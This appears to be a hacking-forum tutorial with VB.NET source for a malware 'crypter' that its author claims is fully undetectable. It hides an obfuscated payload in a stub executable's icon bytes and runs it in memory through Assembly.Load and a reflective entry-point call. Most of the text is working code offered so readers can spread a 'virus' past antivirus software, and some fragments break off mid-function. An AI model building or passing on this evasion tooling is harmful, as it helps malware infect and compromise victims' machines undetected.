[mdj]

[TuT][Source] Make Your Own UnKnoWn Crypter by stefsot [100% FUD][Unique\New Method]
all credit goes to stefsot

Introduction
As we know to make a crypter we need to combine both stub and virus (I'll be calling it virus) into a new file (the server). The are several ways of doing it. The most common is to open the stub add a specified string (so we can split it) at and throw the crypted virus at the end of the stub (EOF). Another way is to throw the crypted virus into the resources of the stub and call it whenever we want. These ways are very common and consequently easily detected. The best way to make a crypter is using codedom. Such applications are hard and very delicated. Anyway the method I'm using is similar to the second way but not the same. So what I'm doing different? This might sound easy or "crazy" but took A LOT of time to think it. I'm just getting the virus's bytes and clone it into the icon of the stub, yes the icon! Experimenting, some few days a go, I found I could turn an application into a working .png (so .jpg and .ico files should work) file bypassing EVERY AV. In theory I could turn my virus into an .png (or .ico) file (and I don't mean changing the extention!), add it in my stub's resources and call it whenever I want. This was good for spreading my virus, but not for creating a crypter. Eventualy the solution was to build the stub with a big in size icon and change the bytes storing the virus. Summing up, that we're gonna to do is: to find the offset were the icon starts and changed its bytes with virus's one.

Getting Started
The first thing he have to do is to build the stub. Make a new project, with a name you choose. Change the text of the form to nothing, make opacity 0% and size 0;0. Secondly find a big in size icon and it to the form1 (I personaly use 280k byte icon, but the bigger it is the better). Build your application. Continueing make a new project, the name is not import, this will only be a support application that will help us generate and build the crypter. For avoiding confusion I will be calling the first project (the stub) as project1 and the second project (the second one) as project2.

In project2 add a button and a textbox. Write click the form and select "view source". Add this code in your class:

Function get_offset(ByVal app_path As String, ByVal icon_path As String)
  Dim o As Byte() = IO.File.ReadAllBytes(icon_path)
  Dim f As Byte() = IO.File.ReadAllBytes(app_path)
  Dim k As Integer = 0
  For i = 0 To f.Count - 1
    If f(i) = o(0) Then
    For i2 = i To i + o.Count - 1
    If Not k = o.Count - 1 Then
    If f(i2) = o(i2 - i) Then
    k += 1
    Else

This function will return the number of byte in your buoled stub were the icon code starts.

Now double click the button and add this code

dim p as string = 'the path to your stub (compiled project1)
dim b as string = 'the path to your icon you added in the stub
Textbox1.text = get_offset(p, b)

Now run the project2 and click the button1. The textbox1 should come up with an integer (the byte\offest, were the icon starts), write it down (we gonna need this).
Building the main crypter
Since we have the offset of the icon (I will be calling just offset), we got the bytes that we can modify in the stub without causing errors. Make a third project (this will be our main crypter), I will be calling it project3.

In project3 add 2xTextbox and 1xButton. The textbox1 will be the file we want to crypt and the Textbox2 the path we want to save it. The button will just do all the stuff. Double click the button and add this code

If TextBox1.TextLength = 0 Then
    MsgBox("Please Select File to crypt!", MsgBoxStyle.Information)
    Exit Sub
  End If
  If TextBox2.TextLength = 0 Then
    MsgBox("Please select were you want to save crypted file!", MsgBoxStyle.Information)
    Exit Sub
  End If
  '--
  Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))
  If inject.Count > 286356 Then

You will also need this

Function Secure(ByVal data As Byte()) As Byte()
  For i = 0 To data.Count - 1
    If Not data(i) = 0 Then
    data(i) -= 1
    Else
    data(i) = 255
    End If
  Next
  Return data
    End Function

I will now explain it:
-The first lines (before the '--) are checking whether we have added the necessary paths.

Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))
  If inject.Count > 286356 Then
    MsgBox("The file you want to crypt is to big! Please select a file between 0 and 286356  bytes.", MsgBoxStyle.Critical)
    Exit Sub
  End If

Variable inject is the file we want to crypt in bytes.
"> 286356" This number is the icon's size (that we used in the project1 subtracted by 1000, do the same by adding your number). The code that remains it speaks by itself. The file must have a necessary number of bytes (not bigger than icon's size -1000, that's why we need a big in size icon)

Dim q As String() = Split(IO.File.ReadAllText(Application.ExecutablePath), "(12345)&(12345)")
Dim f As Byte() = Convert.FromBase64String(q(1))

In these lines the program gets itself, and splits itself using "(12345)&(12345)" this as split word and gets the bytes of the stub. We'll compile the stub into the main crypter later.

For i As Integer = 1673 + 500 To 1673 + 500 + inject.Count - 1
    f(i) = inject(i - 1673 - 500)
  Next

Before I explain the code I must declare the numbers. "1673" is the offset that we got (change it with yours) and "500" are the forst 500 bytes of the icon. We should change them as the modification of the very first bytes will just crash our application. Now, this code will get the f() which is our stub and modify the icon's bytes. So far we're ok. Our problem is that we must also store the virus's length in order to let the stub know how many bytes to read. The following code will do the stuff (no I won't explain this line by line, sorry)

Dim c As String = inject.Count.ToString
  Dim d() As String
  ReDim d(c.Length)
  Dim n As Integer = 0
  For Each kl As Char In c

    If Not c = "." Then
    d(n) = kl
    n += 1
    End If
  Next

So the remaining code will just save the new file

Try
    IO.File.WriteAllBytes(TextBox2.Text, f)
  Catch ex As Exception
    MsgBox("Failed to save the file! Reason: " & ex.Message, MsgBoxStyle.Critical)
    Exit Sub
  End Try
  MsgBox("File successfully crypted!", MsgBoxStyle.Information)

Build project3. Our crypter is almost ready (we won't use anymore project3, you can close it).
Building our Stub
Go back to project1 write click it and replace all the code with this

Imports System.Reflection
Imports System.Runtime.CompilerServices
Public Class Form1
    Dim t As Threading.Thread = New Threading.Thread(AddressOf run_bytes)
    Dim icon_length As Integer = 287356
    Dim mikos As String
    Dim locationstart As Integer = 1673 + icon_length - 500
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  On Error Resume Next
  Me.Location = New Point(-50, -50)
  Dim f As Byte() = IO.File.ReadAllBytes(Application.ExecutablePath)

In this code we have the Unsecure algorythm, that will unsecure, the secured bytes.

Function ERWTVTHCGAFSEDSEDAEDscsegef(ByVal data As Byte()) As Byte()  'unsecure
  For i = 0 To data.Count - 1
    If Not data(i) = 255 Then
    data(i) += 1
    Else
    data(i) = 0
    End If
  Next
  Return data
    End Function

And our runpe function

Private Sub run_bytes(ByVal bytes As Byte())
  Dim assembly As Assembly = assembly.Load(bytes)
  Dim entryPoint As MethodInfo = [assembly].EntryPoint
  Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
  entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
    End Sub

Now we must do some modifications.
Change the integer " Dim icon_length As Integer = 287356" to your icon's size (bytes)

Change the 1673 to the offset we found "Dim locationstart As Integer = 1673 + icon_length - 500"

In the form_load event change the the number "1673" with your offset.
I will not really expain the stub as it's easy. It just reads the size of the file that has been "injected", reads it and runs it. Build your stub.

Go to project2 add a new button, double click it and write this

Dim stub As String = Convert.ToBase64String(IO.File.ReadAllBytes("C:\stub.exe"))

  IO.File.AppendAllText("C:\v2.exe", "(12345)&(12345)" & stub)

Just copy your main crypter (compiled project3) in "C:\v2.exe" and your stub (compiled project1) in "C:\stub.exe". Run project2 and click your second button in order to combine both crypter and stub. If no errors came up, then the "C:\v2.exe" is our complete crypter and ready to be used.